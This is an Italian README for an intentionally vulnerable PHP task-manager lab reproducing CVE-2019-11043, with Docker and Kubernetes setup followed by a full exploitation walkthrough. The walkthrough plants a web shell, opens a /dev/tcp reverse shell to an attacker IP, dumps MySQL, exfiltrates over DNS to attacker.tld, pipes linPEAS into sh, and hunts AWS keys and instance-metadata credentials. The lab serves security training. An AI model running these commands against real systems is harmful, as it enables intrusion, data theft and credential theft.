Task Management APP (Laboratorio CVE-2019-11043)

App PHP minimale con configurazione Nginx/PHP-FPM volutamente vulnerabile per riprodurre CVE-2019-11043. Include un piccolo task manager, login/admin e interfaccia di configurazione del database.

Build ed esecuzione (Docker)

# build
docker build -t cve-2019-11043-lab:app .

# run
docker run --rm -p 8080:80 cve-2019-11043-lab:app

# open
open http://localhost:8080/

Avvio rapido dell'exploit

Usa phuip-fpizdam contro status.php, lascia che rilevi i parametri, quindi riesegui con --skip-detect.

~/go/bin/phuip-fpizdam "http://localhost:8080/status.php"

Supporto database

L'app supporta sia SQLite che MySQL con rilevamento automatico:

SQLite (predefinito)

• DSN: sqlite:/var/www/html/data/app.sqlite
• Nessuna autenticazione richiesta
• Configurazione automatica - il file del database viene creato al primo avvio
• Perfetto per sviluppo e test

MySQL (opzionale)

• DSN: mysql:host=hostname;port=3306;dbname=database;charset=utf8mb4
• Richiede autenticazione con nome utente/password
• Override tramite variabili d'ambiente per deployment Kubernetes

Variabili d'ambiente

Quando queste variabili d'ambiente sono impostate, sovrascrivono automaticamente il DSN:

• DB_HOST - Hostname del database
• DB_PORT - Porta del database (default: 3306)
• DB_NAME - Nome del database
• DB_USER - Nome utente del database
• DB_PASS - Password del database

Migrazioni automatiche

• L'app esegue le migrazioni on-demand dalle richieste (es. index.php, login.php, admin.php).
• I probe K8s puntano a /health.php, che verifica anche la connettività del database.
• Non è richiesto alcun job di migrazione esterno né PHP locale.

Deployment Kubernetes (EKS)

I manifest si trovano in k8s/:

• k8s/secret.yaml: credenziali MySQL (placeholder stringData)
• k8s/mysql-deployment.yaml: Deployment MySQL + Service
• k8s/app-deployment.yaml: Deployment dell'app (privilegiato) + Service; monta il secret e imposta le env var del DB
• k8s/ingress.yaml: Ingress Nginx che instrada all'app

Il placeholder dell'immagine usa quay.io – sostituisci quay.io/your-org/cve-2019-11043-lab:app con il tuo repository.

Ordine di applicazione:

kubectl apply -f k8s/secret.yaml
kubectl apply -f k8s/mysql-deployment.yaml
kubectl apply -f k8s/app-deployment.yaml
kubectl apply -f k8s/ingress.yaml

L'Ingress presuppone un Nginx Ingress Controller e il DNS/hosts taskapp.local che punta al suo indirizzo.

Struttura del progetto

• public/: web root (punti di ingresso)
• app/: helper dell'app (config, db, auth, version)
• php/: override ini per PHP-FPM
• k8s/: manifest Kubernetes
• data/: dati di runtime (db SQLite, config)

Admin predefinito

Accedi a /login.php con admin / admin (il suggerimento nell'interfaccia è nascosto tramite CSS).

Interfaccia di configurazione del database

Accedi a /db_config.php come admin per:

• Visualizzare lo stato e il tipo di database corrente
• Passare da SQLite a MySQL
• Configurare i parametri di connessione
• Vedere esempi di connessione per entrambi i tipi di database

Disclaimer

Questo è un ambiente volutamente vulnerabile. Non esporlo a reti non fidate.

Build immagine multi-piattaforma (Buildx)

Build e push di un'immagine multi-architettura (linux/amd64, linux/arm64) su quay.io.

Prerequisiti: Docker Buildx (Docker Desktop lo include). Emulazione QEMU opzionale: docker run --privileged --rm tonistiigi/binfmt --install all.

# set your repo once
export IMG=quay.io/your-org/cve-2019-11043-lab:app

# ensure buildx is ready
docker buildx create --use --name multi 2>/dev/null || docker buildx use multi
docker buildx inspect --bootstrap

# build and push multi-arch image
docker buildx build \
  --platform linux/amd64,linux/arm64 \
  -t "$IMG" \
  -t "${IMG}-$(date +%Y%m%d)" \
  --push .

# (optional) run locally on Apple Silicon as amd64
docker run --rm -p 8080:80 --platform linux/amd64 "$IMG"

End-to-end con phuip-fpizdam (copia/incolla)

Imposta i target:

BASE=http://<your-elb-or-ingress-host>
TARGET="$BASE/status.php"

Exploit (rilevamento automatico, poi esecuzione finale):

~/go/bin/phuip-fpizdam "$TARGET"
~/go/bin/phuip-fpizdam --skip-detect "$TARGET"

Rilascia una piccola web shell e verifica l'esecuzione:

# write /public/sh.php (cmd runner) via exploit's RCE primitive (examples vary by tool output)
# alternatively, if you have RCE already, you can curl it directly from your host:
curl -s "$BASE/" -o /dev/null # warmup
# minimal cmd runner served from your host
printf "<?php @system(
isset(\$_GET['c'])?\$_GET['c']:'id');" | sed "s/$/\n/" | base64 > sh.b64
# deliver via RCE or any write primitive to /var/www/html/public/sh.php
# validate:
curl -s "$BASE/sh.php?c=whoami"

Continua con gli Esercizi di laboratorio di post-exploitation qui sotto per reverse shell, dump MySQL, esfiltrazione DNS TXT, linPEAS e ricerca di chiavi AWS.

Esercizi di laboratorio di post-exploitation (solo per questo lab)

Questi passaggi sono solo per uso didattico in questo ambiente di laboratorio.

Imposta il tuo base URL e l'IP dell'attaccante:

BASE=http://<your-elb-or-ingress-host>
ATTACKER_IP=<your-ip>
ATTACKER_PORT=4444

1) Ottieni l'esecuzione di comandi e rilascia una semplice web shell

Dopo aver sfruttato CVE-2019-11043 con phuip-fpizdam, usa la primitiva RCE per scrivere una piccola web shell. Se hai già una shell all'interno del container, esegui:

# write /public/sh.php with a minimal cmd runner
printf "PD9waHAgQHN5c3RlbSgkX0dFVFsnYyddKTs/Pg==" | base64 -d | sudo tee /var/www/html/public/sh.php >/dev/null

Se hai solo RCE (nessuna shell), esegui la stessa scrittura base64 tramite la primitiva RCE (ad es. attraverso lo strumento di exploit).

Verifica:

curl -s "$BASE/sh.php?c=whoami"

2) whoami

curl -s "$BASE/sh.php?c=whoami"

3) Tentativo di reverse shell (bash /dev/tcp)

Sul tuo host attaccante:

nc -lvnp "$ATTACKER_PORT"

Attiva dal target (comando codificato nell'URL):

ENC="bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"

Se bash non è disponibile, prova:

ENC="sh -c 'sh -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"

4) Backup MySQL (dump)

Opzione A (percorso operatore del cluster):

kubectl exec deploy/mysql -- sh -lc 'mysqldump -u"$MYSQL_USER" -p"$MYSQL_PASSWORD" "$MYSQL_DATABASE" | gzip -c' > dump.sql.gz

Opzione B (tramite web shell usando PHP PDO): scrivi un rapido script di dump che usa la configurazione dell'app:

# create /public/dump.php using the web shell RCE
cat <<'PHP' | base64 | tr -d '\n' | xargs -I{} curl -s "$BASE/sh.php?c=echo {} | base64 -d > /var/www/html/public/dump.php"
<?php
require __DIR__.'/../app/db.php';
$pdo=app_db_connect();
$tables=$pdo->query("SHOW TABLES")->fetchAll(PDO::FETCH_COLUMN);
foreach($tables as $t){
  $rows=$pdo->query("SELECT * FROM `{$t}`")->fetchAll(PDO::FETCH_ASSOC);
  echo "-- Table: {$t}\n";
  echo json_encode($rows, JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES),"\n";
}
PHP

# fetch the dump
curl -s "$BASE/dump.php" | tee dump.json

5) Esfiltrazione via DNS TXT (esempio dimostrativo)

Punta un dominio di test che controlli (es. exf.attacker.tld) a un nameserver su cui puoi catturare il traffico (es. dnschef o bind). Poi, dal target, attiva query DNS che trasportano i chunk:

# minimal PHP-based exfil using DNS queries
PHPONE='php -r '\''$d=file_get_contents("/var/www/html/public/dump.php");$b=base64_encode($d);$c=str_split($b,40);foreach($c as $i=>$x){gethostbyname("$i.".$x.".exf.attacker.tld");usleep(50000);} echo "done\n"; '\''' 
curl -g --data-urlencode c="$PHPONE" "$BASE/sh.php"

Osserva le query sul tuo nameserver; ricostruisci i dati dalle label.

6) Scarica ed esegui linPEAS (enumerazione per privilege escalation)

curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

7) Cerca chiavi AWS

# env vars
curl -s "$BASE/sh.php?c=env" | grep -E 'AWS_|AKIA'

# filesystem (possible secrets mounted, configs, code)
curl -s "$BASE/sh.php?c=grep -R --exclude-dir=proc --exclude-dir=sys -E "'"'AKIA[0-9A-Z]{16}'"'" / 2>/dev/null"

# instance metadata (if reachable; usually blocked from pods)
curl -s "$BASE/sh.php?c=curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/" || true

Ancora: esegui queste operazioni solo all'interno di questo lab. Non testare mai sistemi che non possiedi o per cui non hai esplicita autorizzazione a valutare.